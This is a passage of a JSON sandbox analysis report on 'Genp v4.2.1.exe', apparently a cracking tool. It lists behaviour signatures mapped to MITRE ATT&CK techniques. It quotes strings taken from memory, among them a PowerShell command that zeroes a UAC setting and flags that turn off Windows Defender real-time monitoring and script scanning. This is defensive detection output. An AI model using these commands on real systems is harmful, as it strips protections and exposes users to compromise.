v4.2.1.exe\")\n Found reference to API \"UnregisterHotKey\" (Indicator: \"UnregisterHotKey\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"RegisterHotKey\" (Indicator: \"RegisterHotKey\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserObjectSecurity\" (Indicator: \"GetUserObjectSecurity\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetUserNameExA\" (Indicator: \"GetUserName\"; Source: \"00000000-00001656.00000000.254252.01812000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$51","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"Genpv4.2.1.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"GenP-v4.2.1.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"GenP-v4.2.1.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}\n \"svchost.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"svchost.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"OSPPSVC.EXE\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"OSPPSVC.EXE\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"svchost.exe\" called \"GetComputerNameW\" (UID: 00000000-00001656)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"Genpv4.2.1.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000030000000000000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeffff00000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"svchost.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"svchost.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"3\"}\n \"OSPPSVC.EXE\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"OSPPSVC.EXE\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"3\"}\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006656)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$52","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Command\"; File: \"AMSI\")\n Found string \"if (Get-Command Add-MpPreference -ErrorAction SilentlyContinue) {\" (Indicator: \"Get-Command\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001656.00000002.257253.743C1000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"sha1fornonsecretpurposes\" (Indicator: \"secret\"; Source: \"00000000-00006656.00000001.260210.08090000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00006656.00000000.258291.02B20000.00000004.mdmp, 00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp, 00000000-00006656.00000002.261062.082D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$55","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Destruction","name":"Able to permanently delete files from the Recycle Bin","description":"Found string \"SHEmptyRecycleBinW\" (File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-922","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyExW\" in file \"Genp v4.2.1.exe\"\n Found registry deletion API: \"RegDeleteKeyW\" in file \"Genp v4.2.1.exe\"\n Found registry deletion API: \"RegDeleteValueW\" in file \"Genp v4.2.1.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$56","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcessAsUser\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CreateProcessWithLogonW\" (Indicator: \"CreateProcessWithLogon\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"Found string \"Set-ItemProperty -Path $uacPath -Name $uacProperty -Value 0\" (Indicator: \"Set-ItemProperty\"; File: \"AMSI\")\n Found string \"Set-ItemProperty -Path $uacPath -Name $uacProperty -Value 0\" (Indicator: \"Set-ItemProperty\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00001656.00000002.257253.743C1000.00000020.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00001656.00000002.257253.743C1000.00000020.mdmp\")\n Found string \"DisableScriptScanning\" (Indicator: \"disablescriptscanning\"; Source: \"00000000-00001656.00000002.257253.743C1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SeBackupPrivilege\" (Indicator: \"SeBackupPrivilege\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00006656.00000000.258291.02B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributes\" (Indicator: \"SetFileAttributes\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"SHUTDOWN\" (Indicator: \"shutdown\") in Source: Genp v4.2.1.exe\n Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00006656-00000C2C-3073128534","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001656.00000002.257253.743C1000.00000020.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeAssignPrimaryTokenPrivilege\" (Indicator: \"SeAssignPrimaryTokenPrivilege\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SeIncreaseQuotaPrivilege\" (Indicator: \"SeIncreaseQuotaPrivilege\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"GenP-v4.2.1.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"F10511469756DD010000000000000000000000000200000000\")\n \"svchost.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"OSPPSVC.EXE\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"svchost.exe\" opened \"\\Device\\KsecDD\"\n \"certutil.exe\" opened \"\\Device\\KsecDD\"\n \"OSPPSVC.EXE\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"ReAgentc.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$58","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$59","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"InitiateSystemShutdownExW\" (Indicator: \"InitiateSystemShutdown\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity 